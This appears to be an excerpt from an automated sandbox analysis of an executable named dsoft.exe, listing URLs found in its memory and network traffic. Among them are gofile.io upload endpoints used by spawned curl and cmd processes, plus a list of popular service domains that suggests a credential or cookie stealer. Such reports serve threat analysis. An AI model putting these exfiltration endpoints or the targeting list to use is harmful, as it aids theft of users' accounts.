dsoft.exe, 00000001.00000003.2550213850.0000029488C88000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2010117969.0000029488B32000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2536542831.0000029488519000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2549283681.0000029488493000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539168516.000002948851C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/questions/267399/how-do-you-match-only-valid-roman-numerals-with-a-regular
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://stake.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://stake.com))
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://steam.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://steam.com)z
            Source: cmd.exe, 00000007.00000002.2150326748.000002BBEB28B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/u
            Source: cmd.exe, 00000029.00000002.2373686223.00000213A668B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/u&
            Source: cmd.exe, 00000023.00000002.2337162759.0000026D4D1CB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/upl
            Source: cmd.exe, 0000000B.00000002.2187353551.000001C33C62B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/upli~
            Source: curl.exe, 0000002E.00000002.2374793951.000001BA62A40000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000002F.00000002.2377223763.00000198BF865000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFile
            Source: curl.exe, 0000002E.00000002.2374793951.000001BA62A40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFile0
            Source: curl.exe, 00000009.00000003.2149329817.0000016797613000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2149925139.0000016797614000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2149427215.00000167975E4000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2149787568.00000167975E7000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2186534267.0000022CEC933000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000013.00000003.2235709997.0000021280D16000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFile2
            Source: curl.exe, 0000000D.00000002.2186534267.0000022CEC928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFileB
            Source: cmd.exe, 00000011.00000002.2236871646.000001EAF2E20000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000026.00000002.2372004977.00000252CF160000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFileDRI
            Source: cmd.exe, 0000000B.00000002.2187247687.000001C33C5E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFileHOMEDRI
            Source: cmd.exe, 00000007.00000002.2150523746.000002BBEB5F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFileMEDRI
            Source: cmd.exe, 0000001A.00000002.2240303625.000001A8E3F20000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFileMEDRI_
            Source: cmd.exe, 00000020.00000002.2305206433.000002B69E550000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFileMEDRIr?
            Source: curl.exe, 00000009.00000002.2149787568.00000167975D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFileTEM32
            Source: cmd.exe, 00000007.00000002.2150326748.000002BBEB280000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFileW
            Source: curl.exe, 00000009.00000002.2149787568.00000167975D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2186534267.0000022CEC920000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001C.00000002.2239967178.000001A81E8D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002E.00000002.2374793951.000001BA62A40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFileWinsta0
            Source: curl.exe, 00000009.00000002.2149787568.00000167975D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2186534267.0000022CEC920000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001C.00000002.2239967178.000001A81E8D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002E.00000002.2374793951.000001BA62A40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFilecurl
            Source: curl.exe, 0000000D.00000002.2186534267.0000022CEC928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFileomBz
            Source: curl.exe, 0000000D.00000003.2186153249.0000022CEC964000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2186682732.0000022CEC964000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2186047082.0000022CEC964000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFiler
            Source: curl.exe, 0000000D.00000002.2186534267.0000022CEC928000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFilerigz
            Source: curl.exe, 0000002E.00000002.2374793951.000001BA62A40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://store4.gofile.io/uploadFiles
            Source: dsoft.exe, 00000001.00000003.2251567810.00000294898CC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251521232.00000294898BF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251226589.00000294898BF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539962337.00000294898CD000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534412343.00000294898AC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540569471.00000294898D3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterP
            Source: dsoft.exe, 00000001.00000002.2571777281.000002948A684000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251226589.000002948988D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2449381724.000001FA5CEBD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
            Source: dsoft.exe, 00000001.00000002.2570386727.00000294898CE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251567810.00000294898CC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251521232.00000294898BF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251226589.00000294898BF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539962337.00000294898CD000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534412343.00000294898AC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
            Source: dsoft.exe, 00000001.00000003.2251567810.00000294898CC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251521232.00000294898BF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251226589.00000294898BF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2571777281.000002948A660000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539962337.00000294898CD000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534412343.00000294898AC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251226589.000002948988D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540569471.00000294898D3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2449381724.000001FA5CEBD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
            Source: dsoft.exe, 00000001.00000002.2571777281.000002948A660000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e170
            Source: dsoft.exe, 00000001.00000002.2570386727.00000294898CE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251567810.00000294898CC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251521232.00000294898BF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251226589.00000294898BF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539962337.00000294898CD000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534412343.00000294898AC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://telegram.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://telegram.com)z
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tidelift.com/badges/github/pypa/setuptools?style=flat
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tidelift.com/security
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tidelift.com/subscription/pkg/pypi-setuptools?utm_source=pypi-setuptools&utm_medium=readme
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tidelift.com/subscription/pkg/pypi-setuptools?utm_source=pypi-setuptools&utm_medium=referral
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://tiktok.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiktok.com)z
            Source: dsoft.exe, 00000001.00000003.2548967761.000002948857A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539453832.0000029488525000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541993942.0000029488565000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540133201.0000029488535000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2536542831.0000029488519000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539168516.000002948851C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546699012.0000029488567000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2685843835.000001FA5BAB9000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2689060049.000001FA5BAB9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
            Source: dsoft.exe, 00000001.00000003.2545732531.0000029488ADE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2550665354.0000029488ADF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488ADE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895D3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679719201.000001FA5B864000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2686149501.000001FA5B865000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/rfc3610
            Source: dsoft.exe, 00000001.00000003.2541343735.0000029489846000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554026491.0000029489853000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554394468.00000294896EA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542760819.000002948984B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534884417.00000294896C4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2250652495.00000294896BB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535176513.00000294896CB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2693037493.000001FA5CE24000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677159398.000001FA5CD10000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2420158932.000001FA5CE15000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2602033242.000001FA5CE24000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2697557722.000001FA5CD2E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676039834.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/rfc5297
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://twitch.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://twitch.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://twitter.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://twitter.com)z
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551023834.0000029488D52000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488D44000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538502923.0000029488D43000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548120060.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015658048.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2563474626.0000029488200000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2549984820.0000029488D4F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546659014.0000029488D4A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679295806.000001FA596B6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2191490919.000001FA5C13E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676516271.000001FA5C17A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2678643539.000001FA5C18D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677190879.000001FA5C189000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://twitter.com/
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://uber.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://uber.com)z
            Source: dsoft.exe, 0000000E.00000002.2705743567.000001FA5BE10000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://upload.pypi.org/legacy/
            Source: dsoft.exe, 00000001.00000003.2557709314.0000029488DF3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535420058.0000029488DD9000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535331948.0000029488DCC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2570912516.0000029489FA0000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015658048.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2567431865.0000029488DF3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2557121701.0000029488DF3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539030193.0000029488DF3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535501863.0000029488DEA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2716548036.000001FA5D5E0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
            Source: dsoft.exe, 00000001.00000002.2570912516.0000029489FA0000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2716548036.000001FA5D5E0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxyp
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
            Source: dsoft.exe, 00000001.00000003.2536991819.0000029486172000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546618302.00000294861B0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539619903.0000029486184000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677558955.000001FA5BACC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679295806.000001FA596B6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2185649378.000001FA5BB40000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2420767058.000001FA5BAC6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2188458785.000001FA5BB40000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2687166926.000001FA5BB53000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://wiki.debian.org/XDGBaseDirectorySpecification#state
            Source: dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.digicert.com/CPS0
            Source: dsoft.exe, 00000001.00000002.2569758570.00000294897B8000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534884417.0000029489708000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2250652495.0000029489708000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551581637.0000029489712000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551408444.000002948970C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554512563.0000029489788000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2552554927.0000029489779000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546460014.0000029489708000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2602623874.000001FA5CDA3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2450722331.000001FA5CDA3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ietf.org/rfc/rfc2898.txt
            Source: dsoft.exe, 00000000.00000003.1989600243.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2164088511.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.openssl.org/H
            Source: dsoft.exe, 00000001.00000003.2537777125.0000029488C1F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540604780.0000029488C28000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488C1F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2544679008.0000029488C37000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C1F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2678643539.000001FA5C324000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192500777.000001FA5C324000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.python.org
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488D44000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538502923.0000029488D43000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548120060.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546659014.0000029488D4A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2680203394.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676039834.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2696286326.000001FA5CD00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.python.org/
            Source: dsoft.exe, 00000000.00000003.1987447167.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2565697167.0000029488620000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2161847720.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.python.org/dev/peps/pep-0205/
            Source: dsoft.exe, 00000001.00000002.2563065395.0000029487DC0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://xbox.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://xbox.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://yahoo.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://yahoo.com)z
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546117734.0000029488C7D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541781590.000002948846D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551136597.00000294884B3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539552656.0000029488462000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539842827.0000029488467000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547514499.000002948848E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2553471547.00000294884BB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2549283681.0000029488493000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2191490919.000001FA5C13E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676516271.000001FA5C17A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2678643539.000001FA5C18D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677190879.000001FA5C189000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://yahoo.com/
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://youtube.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://youtube.com)z
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49862
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49860
            Source: unknownNetwork traffic detected: HTTP traffic on port 49800 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49795 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49858
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49854
            Source: unknownNetwork traffic detected: HTTP traffic on port 49900 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49851
            Source: unknownNetwork traffic detected: HTTP traffic on port 49837 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49850
